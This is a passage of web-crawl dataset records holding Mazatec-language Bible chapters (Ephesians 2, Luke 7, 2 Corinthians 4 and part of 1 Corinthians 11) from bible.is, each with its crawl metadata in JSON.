xi titsa̱jnat'aà chrañà‑la̱je̱n, j'iì Cristo nga j'iì kéno̱jmí‑ná 'én ndaà xi tsjá‑ná kjoa̱'nchán. 18Ndaà chjí‑la̱ Cristo nga ingajò na̱xa̱ndá‑ná jyeé tjí'nde‑ná nga ko̱ma chi̱koa̱á Nainá nga ti̱jè‑ne Ini̱ma̱ Tsjeè‑la̱ tsjá‑ná nga'ñó nga ingajoá. 19K'oa̱á ma‑ne jñò xi mìtsà xi̱ta̱ judío 'mì‑nò, mìtsà ti̱ xi̱ta̱ xìn nangui‑nò. Jñò, i̱'ndei̱, ngásòn ya̱ ta̱jngoò nokjoà‑nò na̱xa̱ndá‑la̱ Nainá; xi̱ta̱ xinguio̱o‑nò ngats'iì xi̱ta̱ na̱xa̱ndá‑la̱ Nainá. 20K'oa̱á ngaya‑la̱ koni tsà jngoò ni'ya tísindaà. Jñò, jè ngaya‑la̱ nda̱jo̱ xi mochjeén‑la̱ chrjó ni'ya. Jñà xi̱ta̱ xi tsibíxáya‑la̱ Cristo ko̱ jñà xi kiìchja̱ ngajo‑la̱ Nainá, jñà‑né tàts'en chrjó‑la̱ ni'ya. Ko̱ jè Cristo jè nda̱jo̱ chrja̱ngui̱‑la̱ chrjó ni'ya. 21Nga ko̱ Cristo ngats'iì nda̱jo̱‑la̱ chrjó ni'ya, ndaà tísikjoò ko̱ tímajeya ni'ya mé‑nè nga ni'ya tsjeè‑la̱ Nainá ko̱ma‑ne. 22Ti̱koa̱á jñò, nga Cristo títsa̱jnakjoòko̱o, Nainá tísíkítsa̱jnakjoò‑nò ko̱ xi̱ta̱ xinguio̱o xi kj'ei̱í, mé‑ne nga jñò ko̱ma‑nò ni'ya ñánda tíjna Nainá nga Ini̱ma̱ Tsjeè.\nEfesios 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Eph\/2","date":"2013-12-10T20:30:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164024169\/warc\/CC-MAIN-20131204133344-00054-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.000009536743164}","num_words":548,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.316,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jesús, k'e̱ nga jye tsakóya‑la̱ xi̱ta̱ na̱xa̱ndá xi nchi'nchré 'én‑la̱, kiì, jahas'en‑jiìn na̱xa̱ndá Capernaum. 2Ya̱ tíjna jngoò soldado ítjòn. Jè chi̱'nda‑la̱, 'ñó xk'én. Kjo̱meè biyaà. Ta̱nga 'ñó tjòkeè. 3K'e̱ nga kiì'nchré xi̱ta̱ jè i̱t'aà ts'e̱ Jesús, kisìkasén xi̱ta̱ jchínga xi ts'e̱ xi̱ta̱ judío nga kiì kítsi'ba‑la̱ Jesús mé‑ne nga kàtjanchrobá, kàtasíxkiì‑la̱ jè chi̱'nda‑la̱ xi xk'én. 4Jñà xi̱ta̱ jchínga, k'e̱ nga ijchòkon Jesús 'ñó tsibítsi'ba‑la̱, kitsò‑la̱: ―Ok'ín‑la̱ nga si̱chját'aà‑la̱ xi̱ta̱ ítjòn jè. 5Tsjakeè na̱xa̱ndá xi chja̱‑ne Judea, koa̱ jè tsibíndaà jngoò‑ná ni'ya i̱ngo̱ sinagoga i̱ na̱xa̱ndá‑ná. 6Jesús kiìko̱ jñà xi̱ta̱ jchínga koi, ta̱nga k'e̱ nga jye kjo̱meè bijchó chrañàt'aà‑la̱ ni'ya, jè xi̱ta̱ ítjòn‑la̱ soldado kisìkasén i'nga amigo‑la̱ nga kitsò‑la̱ Jesús: ―Na̱'èn, kì yijo‑lè nìjti‑la̱. 'A̱n, mìkiì ok'ìn‑na nga ngaji̱ k'oín sobì ni'ya‑na̱. 7Ti̱koa̱á mìkiì ok'ìn‑na nga 'a̱n kòfìkon sobà‑lè. Ta̱nga tjiì o̱kixi̱ nga kàtandaà‑ne chi̱'nda‑na̱. 8'A̱n, tíjiìn‑na nga tjín‑lè kjo̱tíxoma. Ti̱koa̱á 'a̱n, tjín‑na xi̱ta̱ ítjòn xi otíxoma‑na, ti̱koa̱á tjín‑na soldado xi 'a̱n otiìxoma‑la̱, k'e̱ nga xan jngoò‑la̱: \"T'in\", fì‑né; xan‑la̱ xi ìjngoò: \"Nchroboí\", nchrobá‑né; koa̱ k'e̱ nga xan‑la̱ jè xi chi̱'nda‑na̱: \"K'oa̱ t'i̱in\", síkitasòn‑na. 9K'e̱ nga kiì'nchré Jesús jñà 'én koi, tà kjòxkón‑la̱. K'e̱é kiskoòtsejèn‑'a jñá xi̱ta̱ xi tji̱ngui‑la̱; kitsò‑la̱: ―K'oa̱á xan‑nò, ya̱ Israel, ni̱ saà jngoò xi̱ta̱ sakó‑na xi ko̱s'ín ndaà mokjeiín‑la̱ koni jè xi̱ta̱ jè. 10Jñà xi̱ta̱ xi kiìkjaá Jesús, k'e̱ nga j'iì‑ne, jè chi̱'nda xi xk'én, jyeé kjòndaà‑ne. 11Nga komà i̱skan Jesús kiì jngoò na̱xa̱ndá xi 'mì Naín. Tji̱ko̱ xi̱ta̱ xi kota'yàt'aà‑la̱, ti̱koa̱á kjìn xi̱ta̱ xi tà xi̱ta̱ na̱xa̱ndá tji̱ngui‑la̱. 12K'e̱ nga jye ijchò chrañà i̱jto xotjoa̱ na̱xa̱ndá, kjìn ma xi̱ta̱ na̱xa̱ndá xi kjihijtako̱ chjo̱ón ka'àn nga nchifì kíhijiìn jngoò mik'en xi ti ta̱ jngoò‑la̱ jè chjo̱ón ka'àn. 13Na̱'èn‑ná Jesucristo, k'e̱ nga kijtseèxkon, kjòhi̱ma̱keè; kitsò‑la̱ chjo̱ón ka'àn: ―Kì chìhindáya‑jèn. 14Kiì kasìt'aà chrañà‑la̱ jè kaxa̱ mik'en, tsohósòn‑la̱ tsja; jñà xi̱ta̱ xi yangui mik'en chinchako̱. Kitsò Jesús: ―Ngaji̱ ti, k'oa̱á xán‑lè: ¡Ti̱sítji̱in! 15Jè mik'en ni̱to̱ón tsibìjna kixi̱; i̱kjoàn kiìchja̱. Jesús, k'e̱é kisìnga̱tsja nea̱‑la̱. 16Ngats'iì xi̱ta̱ xi tji̱ko̱, tà kitsakjòn‑né; k'e̱é jeya kisìkíjna Nainá kitsò: ―Jngoò xi̱ta̱ tíjnako̱‑ná xi 'ñó ndaà chja̱ ngajo‑la̱ Nainá. Ti̱koa̱á tjín xi kitsò: ―Nainá j'iì kasìko̱ na̱xa̱ndá‑la̱. 17Jñà 'én koi, kina'yà‑la̱ kóho̱kji nangui Judea, ngats'iì i̱'nde nga jngoò itjandiì nangui Judea. 18Juan xi kis'iìn bautizar xi̱ta̱ kiì'nchré yije kjoa̱ xi tís'ín Jesús; jñà xi̱ta̱ xi kota'yàt'aà‑la̱ tsibéno̱jmí‑la̱. K'e̱é kiìchja̱ jò‑la̱ xi xi̱ta̱ ts'e̱. 19Kisìkasén ñánda tíjna Jesús nga sko̱nangui‑la̱, ¿a jè‑né xi Cristo xi tjínè‑la̱ nga kjoi̱í a xi kj'ei̱í chíña‑lá? 20Jñà xi̱ta̱‑la̱ Juan, k'e̱ nga ijchòkon Jesús, kitsò‑la̱: ―Jè Juan kàsíkasén‑naje̱n xi i̱t'aà tsi̱ji nga chji̱nangui‑lèje̱n, ¿a ji̱‑né xi Cristo xi tjínè‑lè nga kjoi̱i a xi kj'ei̱í chíña‑la̱je̱n? 21Ti̱jè‑ne hora, Jesús, kjìn xi̱ta̱ kisìndaà‑ne xi xk'én, xi kjo̱'in nchisíkjeiín, xi ini̱ma̱ ch'o‑la̱ nei̱í tíjiìn ini̱ma̱‑la̱; ti̱koa̱á kjìn xi̱ta̱ xi mìkiì tsejèn‑la̱ kjòndaà‑ne. 22Jesús kitsò‑la̱ jñà xi̱ta̱ xi ijchòkon: ―Tanguió tèno̱jmí‑là Juan jñà kjoa̱ xi kà'yaà ko̱ xi kàna'yà. Jñà xi̱ta̱ xi mìkiì tsejèn‑la̱, jyeé tsejèn‑la̱; jñà xi tsá'yá kjoàn, jyeé ma fì‑ne; jñà xi tíbindojno chrjoa̱ yijo‑la̱, tímatsjeèjnoó‑ne yijo‑la̱; jñà xi̱ta̱ xi jtayaà, jyeé 'nchré‑ne; ko̱ xi̱ta̱ xi jye k'en, nchifaáyaá‑la̱; koa̱ jñà xi̱ta̱ i̱ma̱, jye tís'eno̱jmí‑la̱ 'én ndaà‑la̱ Nainá. 23¡Mé tà ndaà‑la̱ jè xi̱ta̱ xi nguì jngoò k'a ndaà mokjeiín‑la̱ i̱t'aà ts'a̱n nga ni̱mé xi osìjna‑ikòn‑la̱! 24K'e̱ nga jye kiì‑ne xi̱ta̱ xi kisìkasén Juan, tsibíts'ia̱ Jesús nga tsohóko̱ xi̱ta̱ xi i̱t'aà ts'e̱ Juan, kitsò‑la̱: ―¿Mé xi tsanguì chìtsejèn‑là ya̱ i̱'nde i̱t'aà xìn ñánda nangui kixì choòn? ¿A jè tsanguì chìtsejèn‑là jngoò yá ína̱xo̱ xi síjtìya‑la̱ tjo̱? 25¿Mé‑né xi tsanguì chìtsejèn‑là? ¿A jngoò xi̱ta̱ xi 'ñó ndaà kji nikje‑la̱? Jñò, jyeé 'yaà, jñà xi ndaà kjoàn nikje xi ókjá, xi ti̱koa̱ 'ñó ndaà kjoàn tsojmì xi tjín‑la̱, ya̱á títsa̱ya ni'ya‑la̱ xi̱ta̱xá ítjòn. 26Ta̱nga, ¿mé xi tsanguì chìtsejèn‑là? ¿A jngoò xi̱ta̱ xi chja̱ ngajo‑la̱ Nainá? O̱kixi̱‑né, k'oa̱á xan‑nò, Juan, ìsa̱á 'ñó ndaà koni jngoò xi̱ta̱ xi chja̱ ngajo‑la̱ Nainá. 27I̱t'aà ts'e̱ Juan, ya̱á tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: 'A̱n, sìkasén ítjòn‑lè xi̱ta̱‑na̱ xi kji̱ko̱ 'én; jè xi koi̱ìndaàya ítjòn‑lè ndi̱yá‑lè. 28K'oa̱á xán‑nò, ngats'iì xi̱ta̱ xi tjín i̱ i̱sò'nde, ni̱jngoò xi̱ta̱ xi mangásòn koni jè Juan xi kis'iìn bautizar xi̱ta̱, ta̱nga ya̱ i̱jiìn na̱xa̱ndá ñánda otíxoma Nainá, jè xi̱ta̱ xi fehet'aà‑ne, ìsa̱á jeya tíjna mì k'oa̱á‑ne koni Juan. 29K'e̱ nga kiì'nchré jñà xi̱ta̱ na̱xa̱ndá ko̱ jñà xi̱ta̱‑la̱ xi̱ta̱xá Roma xi síkíchjítjì tsojmì, kjòjngoò‑ikon nga ndaà tjín jè ndi̱yá kixi̱‑la̱ Nainá, nga jye komà bautizar i̱t'aà ts'e̱ Juan. 30Ta̱nga jñà xi̱ta̱ fariseo ko̱ xi̱ta̱ chji̱ne̱ xo̱jo̱n ts'e̱ kjo̱tíxoma‑la̱ Nainá, mìkiì komà bautizar i̱t'aà ts'e̱ Juan. Tsachrjengui‑né kjo̱ndaà xi tjíndaà‑la̱ Nainá nga tsjá‑la̱ xi̱ta̱ koi. 31Jesús kitsò: ―¿Yá xi siìngásòn‑koa̱a jñà xi̱ta̱ xi tjín na̱chrjein i̱'ndei̱? ¿Kó kjoàn xi ko̱ngásòn‑ko̱? 32Jñà ko̱ngásòn‑kjoò jñà i̱xti xi bìtsa̱jna ndi̱tsi̱n nga síská, chja̱‑la̱ xíkjín, tsò‑la̱: \"Kànìkjaneé‑nòje̱n xo̱bí ta̱nga jñò mìkiì kàchà; kàjndaá‑nòje̱n sò xi ba tsò ta̱nga mìkiì kàchìhindáyaà.\" 33J'iì Juan xi kis'iìn bautizar xi̱ta̱ xi mìtsà i̱nchra̱jín tsakjèn, ti̱koa̱ mìtsà xán kits'iì koa̱ jñò bixón‑nò: \"Ini̱ma̱ ch'o‑la̱ nei̱í tjín‑la̱.\" 34I̱kjoàn j'ia̱a xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱; ma‑na kje̱en, ti̱koa̱ ma‑na 'bia̱a; jñò, k'oa̱á s'ín bixón i̱'ndei̱: \"Xi̱ta̱ chrjá'a‑né, xi̱ta̱ ch'i̱‑né, amigo‑la̱‑né jñà xi̱ta̱‑la̱ xi̱ta̱xá Roma xi síkíchjítjì tsojmì ko̱ jñà xi xi̱ta̱ jé.\" 35Ta̱nga jè kjoa̱chji̱ne̱‑la̱ Nainá, 'yaá‑la̱ nga kixi̱ tjín k'e̱ nga jye bitasòn. 36Jngoò xi̱ta̱ fariseo kiìchja̱‑la̱ Jesús nga mejèn‑la̱ ko̱kje̱n‑ko̱. K'e̱ nga jahas'en ni'ya‑la̱ jè xi̱ta̱ fariseo, tsibìjnat'aà ími̱xa̱. 37Ya̱ na̱xa̱ndá jè, tíjna jngoò chjo̱ón xi tse jé tjín‑la̱. K'e̱ nga kiì'nchré nga ya̱ tíjnat'aà ími̱xa̱ Jesús, ya̱ ni'ya‑la̱ jè xi̱ta̱ fariseo, ijchòko̱ jngoò chi̱tsín xi tjíya‑la̱ xkiì xi ndaà jne̱. 38Ya̱á tsasìjnat'aà i̱jto̱n ndso̱ko̱ Jesús nga tíkjindáya. I̱kjoàn tsaníjno ndso̱ko̱ Jesús ko̱ ndáxko̱n. K'e̱é kisìxìjno‑ne ko̱ tsja̱ sko̱. Kjìn k'a kiskine'a ndso̱ko̱. I̱kjoàn kisìkaàjno xkiì xi ndaà jne̱. 39Jè xi̱ta̱ fariseo xi kiìchja̱‑la̱ Jesús, k'e̱ nga kijtseè kjoa̱ koi, kitsò i̱jiìn ini̱ma̱‑la̱: \"¿Mé‑ne nga mìkiì beèxkon‑ne yá chjo̱ón‑ne xi o̱tísíko̱? Tsà kixi̱ kjoa̱ nga jè xi̱ta̱ xi chja̱ ngajo‑la̱ Nainá, skoe̱xkon‑né nga chjo̱ón xi jé tjín‑la̱.\" 40K'e̱é kiìchja̱ Jesús, kitsò‑la̱: ―Simón, jngoò kjoa̱ ko̱xán‑lè. Simón kitsò: ―Maestro, ko̱t'ìn‑ná. 41Jesús kitsò: ―Jò xi̱ta̱ títsa̱jna xi to̱n tje̱n‑la̱ ts'e̱ xi̱ta̱ xi síkìña to̱n; jngoò xi 'òn sìndo̱ tje̱n‑la̱; jè xi ìjngoò icháte tje̱n‑la̱. 42Ingajò xi̱ta̱ koi, tsjìn‑la̱ to̱n xi koi̱ìchjí ngajo‑ne. Jè nei‑la̱ to̱n kisìjchàat'aà‑la̱ ingajò. Ko̱t'ìn‑ná, ¿ñá‑la̱á ingajò xi̱ta̱ koi xi ìsa̱ 'ñó matsjakeè jè nei‑la̱ to̱n? 43Kiìchja̱ Simón kitsò: ―'A̱n, k'oa̱á s'ín sìkítsjeèn, jè‑la xi ìsa̱ tse to̱n kitje̱n‑la̱. Jesús kitsò: ―Ndaà kichoòsòn‑la̱. 44Jesús kiskoòtsejèn‑jno jè chjo̱ón, kitsò‑la̱ Simón: ―Chítsejèn‑la̱ chjo̱ón jè. 'A̱n, k'e̱ nga kòfaha̱s'eèn ni'ya‑lè [mìkiì kànìkitasoìn koni s'ín tjín kjo̱tíxoma tsa̱ján]; mìkiì kò'biì‑ná nandá xi mochjeén‑la̱ ndso̱koaà nga saníjno; ta̱nga chjo̱ón jè, ndáxko̱ón kòhoníjno‑ne ndso̱koaà koa̱ tsja̱ sko̱ó kàsíxìjno‑ne. 45K'e̱ nga kànìhixat'aà‑ná mìkiì kichine'a‑ná ta̱nga chjo̱ón jè, kóni kòfaha̱s'eèn ni'ya‑lè tíkine'a ndso̱koaà. 46'Ngaji̱, mìkiì kànáhijnoi asìti̱ skoaà, ta̱nga chjo̱ón jè, kòfàhijno ndso̱koaà xkiì xi ndaà jne̱. 47Koií k'oa̱s'ín xan‑lè: Chjo̱ón jè, jyeé kàchàat'aà yije‑la̱ ngats'iì jé‑la̱ koi kjoa̱‑la̱ nga 'ñó matsjakeè‑na, ta̱nga jè xi̱ta̱ xi chiba kàchàat'aà‑la̱ jé‑la̱, ìsa̱á chiba matsjakeè‑na. 48K'e̱é kitsò‑la̱ Jesús jè chjo̱ón: ―Jé‑lè jyeé kàchàat'aà‑lè. 49Jñà xi̱ta̱ xi ta̱ña títsa̱jnat'aà ími̱xa̱ kitsò‑la̱ xíkjín: ―¿Yá xi̱ta̱‑né jè nga ti̱koa̱ ma‑la̱ síjchàat'aà‑ná jé‑ná? 50Jesús kitsò ìjngoò k'a‑la̱ jè chjo̱ón: ―Koi‑né nga mokjeiín‑lè i̱t'aà ts'a̱n nga bitjotjì‑ne jé‑lè; t'in‑là ndaà‑ne.\nSan Lucas 7","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Luke\/7","date":"2013-12-09T18:30:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163994768\/warc\/CC-MAIN-20131204133314-00081-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"maa_Latn_score\": 1.0000079870224}","num_words":1169,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.298,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Koa̱á ma‑ni nga mì kì mahinda inìma̱‑na̱ji̱n, nga̱ jé Nainá ra ko̱'sín kjòhi̱ma̱ke‑naji̱n nga kitsjá‑naji̱n jè xá ra̱kìi̱. 2Nachrjengi‑náji̱n jñà kjoa̱ ra ta kjo̱'ma 'nié, kjoa̱ ra tsjá‑ná kjo̱sabà. Mì tsa ta kjoa̱ maña̱ ra 'nià‑ji̱n, ko̱ mì tsa kj'ií kjoa̱ níkójin‑ji̱n jè 'én‑la̱ Nainá. Jè ra mejèn‑naji̱n nga nda 'kéna̱jmíya‑ji̱n kó'sín tjín kjoa̱kixi̱ mé‑ni nga jñà xi̱ta̱ nda katachi̱ya‑la̱ inìma̱‑la̱ kjoa̱ ra 'nià‑ji̱n ya̱ ngixko̱n Nainá. 3Tsa takó ko̱'sín ma i'ka‑la̱ jñà xi̱ta̱ nga koni tsa kjijna'ma jè 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Cristo ra 'bena̱jmíya‑ji̱n, ta jñá‑la ra ko̱'sín ma‑la̱ jñà ra i̱nchichija ya̱ a̱jin jé‑la̱. 4Jè xi̱ta̱‑ni̱í ra tíbatéxoma‑la̱ ni̱chjin ra titsa̱jneé 'ndi̱ 'ndi̱, ra ko̱'sín tíjna koni tsa nainá, jé tsikíchjàjin ya̱ a̱jin kjo̱bítsjen‑la̱ jñà xi̱ta̱ ra mì kì makjiín‑la̱ a̱'ta 'tse̱ Cristo, mé‑ni nga mì kì ko̱ma ske̱‑ni jè kjoa̱hisen‑la̱ jè 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Cristo ra jeya tíjna. Nga̱ jé Cristo ra bakón kó'ki kjòn‑ni ra ngi jè Nainá. 5Mì tsa a̱'ta tsa̱ji̱n ra nda nakjoá‑ji̱n 'kia̱ nga 'bena̱jmíya‑ji̱n; jé 'bena̱jmíya‑ji̱n ra a̱'ta 'tse̱ Jesucristo nga bixó‑ji̱n: jé tíjna ítjòn‑ná. Ta chi̱'ndaá ma‑ji̱n ra a̱'ta tsa̱jiòn‑jiòn, ta nga̱tjì‑la̱ kjo̱tsjacha ra tjín‑naji̱n a̱'ta 'tse̱ Jesús. 6Jè Nainá ra ko̱'sín kitsjà kjo̱hixi̱ nga katamahisen ya̱ ñánda̱ nga jñò chon; jé‑ní ra ko̱'sín isìhisen ya̱ a̱jin inìma̱‑na̱ji̱n, mé‑ni nga ko̱ma si̱hisen‑te‑la̱ji̱n jñà xi̱ta̱ ra kj'ií, nga katabexkon jè kjoa̱jeya‑la̱ Nainá ra 'ñó fate mahisen ya̱ a̱'ta 'tse̱ Jesucristo. 7Jè kjoa̱hisen‑la̱ Nainá koni jngo tsajmì ra 'ñó chjí‑la̱, ya̱á tíjnajin ijo‑na̱ji̱n ra ko̱'sín jngoya‑la̱ koni jngo ti̱jí ni'nde, mé‑ni nga nda kata'ya‑la̱ nga jè nga'ñó ra bato 'ñó nda tjín, mì tsa tsa̱ji̱n‑ji̱n, 'tse̱é Nainá‑ní. 8'Koa̱á ma‑ni, ni̱'sín jndíi̱ ra ján kàjin‑ji̱n kjoa̱, tanga mì tsa jñà kjoa̱ síkijne‑naji̱n. Ni̱'sín tjín kjoa̱ ra 'ñó makájno‑naji̱n, tanga mì tsa nìkjahajen‑la̱ji̱n takòn‑ji̱n. 9Ni̱'sín mahatji̱ngi‑naji̱n xi̱ta̱, tanga mì tsa tsjin-tákon‑naji̱n Nainá; ni̱'sín mejèn‑la̱ jñà xi̱ta̱ nga ki̱nchanè‑naji̱n, tanga mì kì chíkjoa̱‑la̱ nga síkjehesòn‑naji̱n. 10Ta ñánda̱ nga mangí‑ji̱n, kji'tá ni̱chjin mejèn‑la̱ jñà xi̱ta̱ ko̱'sín si̱ì'ken‑naji̱n koni 'sín inìko̱ jè Jesús, mé‑ni nga a̱'ta tsa̱ji̱n kata'ya‑la̱ nga jé Jesús ra tísíkíjnakon‑naji̱n. 11'Kia̱ nga titsa̱jnakon‑ji̱n, kji'tá ni̱chjin kjo̱biya tísinè‑naji̱n ra ta nga̱tjì‑la̱ a̱'ta 'tse̱ Jesús, mé‑ni nga ti̱'koa̱ a̱'ta 'tse̱ ijo‑na̱ji̱n kata'ya‑la̱ kjo̱binachon ra tsjá Jesús. 12'Koa̱á 'sín tjín ra ji̱n, ta kjo̱biyaá i̱nchichiñá ki'ta‑la̱ji̱n, tanga ra jiòn, jé kjo̱binachon ra mì fehe'ta tísakó‑no. 13Jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá, 'koa̱á 'sín tíchja̱ nga tsò: \"Kjokjiín‑naa̱, 'koa̱á ma‑ni nga kíchjàa̱.\" 'Koa̱á ti̱'sín tjín‑te inìma̱‑na̱ji̱n a̱'ta 'tse̱ 'én ra makjiín‑naji̱n; ndaá makjiín‑naji̱n, 'koa̱á ma‑ni nga nakjoá‑ji̱n. 14'Ya‑náji̱n nga jè Nainá ra isikjaáya‑la̱ jè Jesús ra tíjna ítjòn‑ná, 'koa̱á ti̱'sín si̱ìkjaáya‑naji̱n koni 'sín nga jaáya‑la̱ Jesús; ko̱ a̱kjòn nga'tsí‑né, ya̱á ta̱ña i̱ko̱‑ná ya̱ ñánda̱ nga tíjna ra jè sabà. 15Kjo̱nda tsa̱jión‑nájiòn nga'tsì kjoa̱ kìi̱, mé‑ni nga isa̱ kjìn ma‑ni xi̱ta̱ ra katatjábé‑la̱ kjo̱nda‑la̱ Nainá, ko̱ jeya katijna Nainá 'kia̱ nga isa̱ kjìn ma‑ni xi̱ta̱ ra ki̱tso̱‑la̱: \"Tse kjo̱nda kata'se‑li Na̱'ìn.\" 16'Koa̱á ma‑ni nga mì kì mahinda inìma̱‑na̱ji̱n. Nga̱ ni̱'sín tímajchínga ra ijo‑na̱ji̱n, tanga jè inìma̱‑na̱ji̱n ni̱chjin nchijón‑ní nga tíma-xi̱tse̱ya-isa. 17Jè kjo̱hi'in ra nìkjiín‑ji̱n i̱ i̱sà'nde, ta chibaá kjo̱hi'in tjín‑ni; nga̱ ta tíbato‑ní; ko̱ jngoó kjo̱nda tji̱ko̱ ra a̱'ta tsa̱ji̱n nga ya̱á sakó jngo‑naji̱n kjoa̱jeya ra 'ñó tse ko̱ ra ni̱kjiá kje̱he'tà. 18Nga̱ mì tsa jñà chitsíjen‑la̱ji̱n jñà kjoa̱ ra ma i̱ i̱sà'nde ra tsijen‑ni; jñá chitsíjen‑la̱ji̱n jñà ra mì kì tsijen‑ni ra a̱'ta 'tse̱ Nainá nchrabá‑ni. Nga̱ jñà kjoa̱ ra ma i̱ i̱sà'nde, ta tíbato‑ní, tanga jñà ra mì kì tsijen‑ni ra 'tse̱ Nainá, mì kì kje̱he'tà skanda ta kjiá‑nioo̱.\n2 Corintios 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/2Cor\/4","date":"2013-12-13T10:35:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164929439\/warc\/CC-MAIN-20131204134849-00042-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000087022781372}","num_words":580,"character_repetition_ratio":0.071,"word_repetition_ratio":0.004,"special_characters_ratio":0.232,"stopwords_ratio":0.348,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ko̱'sín chjíngí‑nájiòn, koni 'sín tíkjingí‑la̱ 'a̱n, jè Cristo. 2Jiòn 'ndsé ko̱ tichjeé, ndaá tjín koni 'sín i̱nchi'nià jiòn nga̱ níkítsjen jiòn ra a̱'ta tsa̱'a̱n ko̱ nga'tsì kjoa̱ ra 'siaa̱n, ko̱ nga ti̱'koa̱á i̱nchinitjasòn‑te jè kjo̱téxoma ra 'a̱n ísikátoya‑no. 3Tanga mején‑na nga nda katasijin‑no, nga nga'tsì xi̱ta̱ 'xi̱n, jé Cristo tíjna ítjòn‑la̱ nga jè ma sko̱, ko̱ jè chjo̱ón, jé xi̱ta̱ 'xi̱n tíjna ítjòn‑la̱ nga jè ma sko̱, koni 'sín nga jè Cristo, jé Nainá tíjna‑la̱ nga jè ma sko̱. 4Tsa jngo xi̱ta̱ 'xi̱n bíjtsa sko̱ 'kia̱ nga chja̱'ta‑la̱ Nainá ko̱ tsa 'kia̱ 'béna̱jmíya 'én‑la̱ Nainá, mì kì tíbexkón‑jìn jè Cristo ra jè tíjna koni sko̱. 5Tanga tsa jngo chjo̱ón ra mì kì bíjtsa sko̱ 'kia̱ nga chja̱'ta‑la̱ Nainá ko̱ tsa 'kia̱ nga 'béna̱jmíya 'én‑la̱ Nainá, mì kì tíbexkón‑jìn jè 'xi̱n‑la̱ ra sko̱ tíjna; nga̱ 'koa̱á 'sín jngoya‑la̱ koni tsa isijno ska‑la̱ tsja̱ sko̱. 6Nga̱ tsa jè chjo̱ón mì kì bíjtsa jè sko̱, katabíjno ska jnchro; tanga tsa masobá‑la̱ nga bate tsja̱‑sko̱ nga sijno ska‑la̱, isa̱á nda‑ni nga katabíjtsa jnchro jè sko̱. 7Jè ra xi̱ta̱ 'xi̱n mì kì tjí'nde‑la̱ nga ki̱ijtsa jè sko̱, nga̱ xkósòn‑la̱ Nainá‑ní, ko̱ ya̱á a̱'ta 'tse̱ xi̱ta̱ 'xi̱n 'ya‑la̱ kjoa̱jeya‑la̱ Nainá; tanga ya̱á a̱'ta 'tse̱ chjo̱ón nga 'ya‑la̱ kjoa̱jeya‑la̱ 'xi̱n‑la̱. 8Nga̱ jè ra xi̱ta̱ 'xi̱n, mì tsa ya̱ itjo'ta‑ni a̱'ta 'tse̱ chjo̱ón, jé chjo̱ón ra ya̱ itjo'ta‑ni a̱'ta 'tse̱ xi̱ta̱ 'xi̱n. 9Ko̱ mì tsa jè nga̱tjì‑la̱ chjo̱ón nga isinda jè xi̱ta̱ 'xi̱n, jé nga̱tjì‑la̱ xi̱ta̱ 'xi̱n nga isinda jè chjo̱ón. 10'Koa̱á ma‑ni jñà íchjín tjínè‑la̱ nga ki̱ijtsa sko̱, mé‑ni nga jcha̱‑la̱ jè kjo̱téxoma ra tjín‑la̱, mé‑ni nga ske̱ jñà ìkja̱li̱. 11Tanga ra a̱'ta 'tse̱ Na̱'ín‑ná, tsa tsìn jè xi̱ta̱ 'xi̱n, ti̱'koa̱á tsìn jè chjo̱ón; ko̱ tsa tsìn jè chjo̱ón, ti̱'koa̱á tsìn jè xi̱ta̱ 'xi̱n. 12Koni 'sín jè chjo̱ón ra tsikínda ítjòn Nainá, ya̱á itjokà'ta‑ni a̱'ta 'tse̱ xi̱ta̱ 'xi̱n, ko̱ ti̱'koa̱á jè xi̱ta̱ 'xi̱n ya̱á tsin‑ni a̱'ta 'tse̱ chjo̱ón; tanga ta nga'tsiòo̱, a̱'ta 'tse̱ Nainá nchrabá‑ni. 13Ndaá ti̱kítsjen jiòn, ¿a ndaá tjín tsa jñà íchjín mì kì tjíjtsa sko̱ 'kia̱ nga ki̱chja̱'ta‑la̱ Nainá? 14¿A mí tsa xá ko̱'sín ki'chá‑ná nga kjo̱sabà‑ní tsa jngo xi̱ta̱ 'xi̱n si̱ìndajò tsja̱sko̱? 15Tanga jñà íchjín, kií ko̱'sín ki'tsì‑la̱ nga síndajò tsja̱sko̱ nga̱ isa̱á nda batsíjen, nga̱ jè tsja̱sko̱ ma‑ni koni tsa jè nikje xo̱'ba̱ ra bíjtsa sko̱. 16Tsa yá ra mejèn‑la̱ nga kj'ií 'sín ki̱tso̱ ra a̱'ta 'tse̱ kjoa̱ kìi̱, ko̱'sín nda katasijin‑la̱, mì tsa kj'ií 'sín nga‑isa‑naji̱n ra ji̱n ko̱ nga'tsì jñà ra na̱xi̱ndá‑la̱ Nainá ma. 17Tanga jñà 'én ra fì‑isa ra ko̱xin‑no, mì kì ma nda síkítsa̱jna‑no, ta nga̱tjì‑la̱ 'kia̱ nga maxkóya jiòn, mì tsa mé kjo̱nda ra sakó‑no, ta isa̱á jnchro 